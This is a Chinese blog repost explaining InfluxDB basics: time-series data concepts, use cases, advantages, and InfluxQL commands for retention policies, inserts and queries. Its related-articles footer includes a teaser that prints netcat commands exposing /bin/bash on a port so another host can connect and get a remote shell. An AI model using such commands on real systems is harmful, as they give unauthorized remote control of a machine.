influxdb时序型数据库基础

news2024/10/7 4:22:56

文章目录

    • 什么是InfluxDB
    • 时序数据特点
    • 常见应该场景
    • 时序数据库解决什么问题
    • InfluxDB的优势
    • InfluxDB常用命令

什么是InfluxDB

InfluxDB是一个开源的、高性能的时序型数据库,在时序型数据库DB-Engines Ranking上排名第一。

在介绍InfluxDB之前,先来介绍下时序数据。按照时间顺序记录系统、设备状态变化的数据被称为时序数据(Time Series Data),如CPU利用率、某一时间的环境温度等。

时序数据以时间作为主要的查询纬度,通常会将连续的多个时序数据绘制成线,制作基于时间的多纬度报表,用于揭示数据背后的趋势、规律、异常,进行实时在线预测和预警,时序数据普遍存在于IT基础设施、运维监控系统和物联网中。随着物联网时代的到来,时序数据的数据量呈井喷式爆发,针对于这一数据细分的优化存储显得越来越重要。

对于传统关系型数据库,增删改查应该是必备且常用的功能,而influxdb常用的只有insertselect,没有提供update语法,虽然有delete可以删除数据(delete语法和mysql相似),但是需求不大。

因为存储的数据都是跟时间有关的测量数值,多用于图表展示,不太需要人为的去删除,而有时统计的数据是秒级,甚至毫秒级、纳秒级的,势必造成数据量巨大。如果一直长久存储会占用机器大量资源,而且有些数据越旧越失去它的时效性,越没有参考价值,所以保留策略retention policy就是可以让数据存储一段时间后自动清除。

时序数据特点

时序数据有这几个属性:

度量的数据集(measurement),类似于关系型数据库中的 table;

一个数据点(point),类似于关系型数据库中的 row;

时间戳(timestamp),表征采集到数据的时间点;

维度列(tag),代表数据的归属、属性,表明是哪个设备/模块产生的,一般不随着时间变化,供查询使用;

指标列(field),代表数据的测量值,随时间平滑波动。
在这里插入图片描述

常见应该场景

获取最新状态,查询最近的数据(例如传感器最新的状态)
展示区间统计,指定时间范围,查询统计信息,例如平均值,最大值,最小值,计数等。。。
获取异常数据,根据指定条件,筛选异常数据

举例:

监控软件系统: 虚拟机、容器、服务、应用

监控物理系统: 水文监控、制造业工厂中的设备监控、国家安全相关的数据监控、通讯监控、传感器数据、血糖仪、血压变化、心率等

资产跟踪应用: 汽车、卡车、物理容器、运货托盘

金融交易系统: 传统证券、新兴的加密数字货币

事件应用程序: 跟踪用户、客户的交互数据

商业智能工具: 跟踪关键指标和业务的总体健康情况

在互联网行业中,也有着非常多的时序数据,例如用户访问网站的行为轨迹,应用程序产生的日志数据等等

时序数据库解决什么问题

传统数据库通常记录数据的当前值,时序型数据库则记录所有的历史数据,在处理当前时序数据时又要不断接收新的时序数据,同时时序数据的查询也总是以时间为基础查询条件,并专注于解决以下海量数据场景的问题:

  • 专为时序存储和高性能读写而设计:计算机虚拟世界的各种系统和应用,以及物理世界的IoT设备等都在创建海量的时序数据,每秒千万级的数据吞吐量是很常见的,而且这些数据还需要可以以非阻塞方式接收并且可压缩以节省有限的存储资源。如何支持千万级/秒数据的写入。如何支持千万级/秒数据的聚合和查询。
  • 专为实时操作而设计:预测能力和实时决策能力,需要收到数据后,就能实时输出最新的数据分析结果,执行预定义的操作。
  • 专为高可用性而设计:现代软件系统需要全天候可用,除了基本的集群能力,还需要根据需求自动扩容和缩容,支持柔性可用等。
  • 成本敏感:海量数据存储带来的是成本问题,如何更低成本存储这些数据是时序型数据库需要解决的关键问题。

InfluxDB的优势

InfluxData选择从头开始构建InfluxDB以支持下一代时序中台的需求,InfluxDB通过实现高度可扩展的数据接收和存储引擎,可以高效地实时收集、存储、查询、可视化显示和执行预定义操作。

它通过连续查询提升查询效率和缩短延迟,通过数据保留策略,及时高效地删除过期冷数据,提升存储效率。

为什么通用数据库在时序场景上不是最优的选择呢?许多通用数据库正在为时序数据添加一些支持,虽然可能很容易使用,但它们基本上都不是针对海量时序数据的吞吐量和实时操作而设计的。

与InfluxDB相比,通用数据库,如Cassandra、MongoDB、HBase等,需要开发人员投入大量的时间进行代码编写,以开发与InfluxDB类似的功能。具体来说,开发人员需要做如下工作:

编写代码实现跨集群数据分片功能、聚合运算和采样功能、数据生命周期管理功能等。
实现丰富的API接口。
编写用于数据采集的工具。
实现实时处理模块并编写用于监控和警报的代码。
编写可视化引擎以向用户显示时序数据。

InfluxDB常用命令

# ==================数据库操作==================
create database db_name
show databases
drop database db_name
use db_name
show  measurements

# ==================数据库策略操作==================
show retention policies on device_ea
# ===创建===
CREATE RETENTION POLICY <retention_policy_name> ON <database_name> 
DURATION <duration> REPLICATION <n> [SHARD DURATION <duration>] [DEFAULT]
# 为monitor库创建一个数据保留时长30天的rp,同时设置shard duration为1d,副本为1,并设置为默认rp
create retention policy rp_30_days on monitor duration 30d replication 1 shard duration 1d default
# 为monitor库创建一个数据保留时长一个星期的rp,副本为1
create retention policy rp_one_week on monitor duration 1w  replication 1
# ===修改===
# 修改rp_1_week 保留数据时长为15days 
alter retention policy rp_1_week on monitor duration 15d replication 1 default 
# 设置rp_30_days为默认rp
alter retention policy rp_30_days on monitor default 
# ===删除===
# 删除名为rp_1_week的rp
drop retention policy rp_1_week on monitor

# ==================插入操作==================
# 在没有use 哪个db的时候需要指定db,选择monitor数据库,指定rp为rp_3_days写入数据到service_qps
insert into monitor.rp_3_days service_qps,svrName=TaskSvr,hostName=dev4 qps=12.9
# 切换选择monitor
use monitor
# 并指定rp为rp_3_days写入数据到service_qps
insert into rp_3_days service_qps,svrName=TaskSvr,hostName=dev4 qps=12.9
# 【完全错误的写法】
insert rp_3_days.service_qps,svrName=TaskSvr,hostName=dev4 qps=12.9


# ==================查询操作==================
# 默认指定默认RP
select  *  from  service_qps
# 指定RP查询
select  *  from  rp_3_days.service_qps

参考:

https://www.freesion.com/article/53171426136/#retention_policy_40

https://blog.csdn.net/qq355972697/article/details/129775503

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499567.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器学习随记(5)—决策树

手搓决策树&#xff1a;用决策树将其应用于分类蘑菇是可食用还是有毒的任务 温馨提示&#xff1a;下面为不完全代码&#xff0c;只是每个步骤代码的实现&#xff0c;需要完整跑通代码的同学不建议花时间看&#xff1b;适合了解决策树各个流程及代码实现的同学复习使用。 1 数据…

MySQL锁机制

目录 表级锁&行级锁 排他锁&共享锁 InnoDB行级锁 行级锁&#xff08;record lock&#xff09;&#xff1a; 间隙锁&#xff08;gap lock&#xff09;&#xff1a; 意向锁 InnoDB表级锁 MVCC&#xff08;多版本并发控制&#xff09; 已提交读的MVCC&#xff1a…

Linux下的shell

NC反向shell 1、查看shell类型 echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell 然后反弹对应的shell&#xff08;正向连接&#xff09; //被控制端 nc -lvvp 8989 -e /bin/bash //控制端 nc 192.168.222.146(被控端ip) 8989 2、没有-e参数反…

css链接悬停时滑动的下划线效果

要创建链接悬停时滑动的下划线效果&#xff0c;可以向锚点标记添加伪元素&#xff0c;并使用 CSS 过渡动画来显示它。 先看效果&#xff1a; 在提供的代码中&#xff0c;a::after 选择器创建了一个伪元素&#xff0c;该伪元素位于 a 标记后面。该伪元素具有绿色背景颜色和 1…

KVM 架构和部署

建议使用centos和ubuntu 系统做实验&#xff0c;rocky 系列有些不太支持 宿主机环境准备 KVM需要宿主机CPU必须支持虚拟化功能&#xff0c;因此如果是在vmware workstation上使用虚拟机做宿主机&#xff0c;那么必须要在虚拟机配置界面的处理器选项中开启虚拟机化功能。 验证…

【AI选股】如何通过python调用通达信-小达实现AI选股(量化又多了一个选股工具)

文章目录 前言一、通达信-小达是什么&#xff1f;二、使用步骤1. 引入browser_cookie3库2. 通达信-小达 AI选股源代码 总结 前言 ChatGPT火遍网络&#xff0c;那么有没有可以不用写公式就可以实现AI选股的方法&#xff1f;答案是有&#xff0c;今天我们就来试试通达信的小达&a…

软件测试面试常见问题【含答案】

一、面试技巧题(主观题) 序号面试题1怎么能在技术没有那么合格的前提下给面试官留个好印象&#xff1f;2面试时&#xff0c;如何巧妙地避开不会的问题&#xff1f;面试遇到自己不会的问题如何机智的接话&#xff0c;化被动为主动&#xff1f;3对于了解程度的技能&#xff0c;被…

鸿蒙学习总结

控件 button 源码所在路径&#xff0c;小编也只是猜测&#xff0c;还没搞懂鸿蒙上层app到底层的玩法&#xff0c;网上也没相关资料&#xff0c;找源码真是费劲(不是简单的下载个源码的压缩包&#xff0c;而是找到里面的控件比如Button&#xff0c;或者UIAbility实现的源码&…

探索qrc,rcc和CMAKE_AUTORCC

前导知识&#xff1a;解决qt中cmake单独存放 .ui, .cpp, .h文件 前言 我们的Qt程序可以加载一些资源&#xff0c;比如程序窗口的图标。 像下面这样的原始图标&#xff0c;很丑。 可以给它加上图标&#xff0c;一个小海豚。 一、直接加载资源 这是最简单直接的方式。 …

IntersectionObserver API实现虚拟列表滚动

前言 在本篇文章你将会学到&#xff1a; IntersectionObserver API 的用法&#xff0c;以及如何兼容。如何在React Hook中实现无限滚动。如何正确渲染多达10000个元素的列表。 无限下拉加载技术使用户在大量成块的内容面前一直滚动查看。这种方法是在你向下滚动的时候不断加…

keil MDK5软件包介绍、下载、安装与分享

前言 本文介绍了Keil MDK5软件包的分类、作用、下载、安装与更新。软件包下载可通过Keil自带的Pack Installer、进入Keil Pack下载网站手动下载、去芯片厂家官网下载三种方式。同时分享了一个小技巧&#xff0c;可以直接分享已安装好的软件包给别人。 一. Keil MDK软件包介绍 K…

《Netty》从零开始学netty源码(五十五)之InternalThreadLocalMap

InternalThreadLocalMap 前面介绍PoolThreadLocalCache中了解到netty的线程缓存变量值是存在InternalThreadLocalMap中的&#xff0c;它相对于java原生的map优点在于使用数组来管理变量值而不是map&#xff0c;它的数据结构如下&#xff1a; 在它的变量中与PoolThreadLocalCac…

springboot+vue在线BLOG网站(源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的在线BLOG网站闲一品交易平台。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 &#x1f495;&#x1f495;作者&…

我与猫头鹰的故事——得到学习的阶段总结

目录 一、背景二、过程三、总结四、升华 一、背景 记忆中已经模糊了加入得到的时间&#xff0c;但是现在它却成了我生活的一部分 每天就像有几位高人在给我细细道来他们的经验&#xff0c;给我前行的路上指引方向。 参与得到学习中不仅仅让我个人见识得到提升&#xff0c;最终…

Spring Cloud Gateway 限流

在高并发的应用中&#xff0c;限流是一个绕不开的话题。限流可以保障我们的 API 服务对所有用户的可用性&#xff0c;也可以防止网络攻击。 一般开发高并发系统常见的限流有&#xff1a;限制总并发数&#xff08;比如数据库连接池、线程池&#xff09;、限制瞬时并发数&#xf…

【C++】类和对象(初阶认识)#中篇#

上篇讲到对象的实例化 这里我们接着来探讨对象 目录 类域及成员函数在类域外的声明方法 内联 构造函数 先来看前三点&#xff1a; 无参调用格式 第四点函数重载 最后一点&#xff1a;没写构造时 自动生成 默认构造 并调用 《坑和补丁篇》 默认构造 析构函…

SETUNA2简介、下载和使用方法(截图贴图工具)

如果你在寻找一个可以截图并将截图置顶显示在桌面的工具&#xff0c;那么本文介绍的工具可以满足你的需求&#xff0c;但是我还是建议你移步&#xff1a; Snipaste介绍、安装、使用技巧&#xff08;截图贴图工具&#xff09;_西晋的no1的博客-CSDN博客 &#xff0c;Snipaste工具…

Illustrator如何使用符号与图表之实例演示?

文章目录 0.引言1.使用Microsoft Excel数据创建图表2.修改图表图形及文字 0.引言 因科研等多场景需要进行绘图处理&#xff0c;笔者对Illustrator进行了学习&#xff0c;本文通过《Illustrator CC2018基础与实战》及其配套素材结合网上相关资料进行学习笔记总结&#xff0c;本文…

校园网自动登陆(河南科技学院)

1. 介绍 河南科技学院校园网自动登陆&#xff08;新乡的很多系统相似&#xff0c;可能也可以用&#xff1f;&#xff09;&#xff0c;java版。可以实现电脑&#xff0c;路由器&#xff0c;软路由的自动认证wifi,后续会上传docker版本的。 源码地址 github&#xff1a;https://…

C嘎嘎的运算符重载基础教程以及遵守规则【文末赠书三本】

博主名字&#xff1a;阿玥的小东东 大家一起共进步&#xff01; 目录 基础概念 优先级和结合性 不会改变用法 在全局范围内重载运算符 小结 本期送书&#xff1a;盼了一年的Core Java最新版卷Ⅱ&#xff0c;终于上市了 基础概念 运算符重载是通过函数重载实现的&#xf…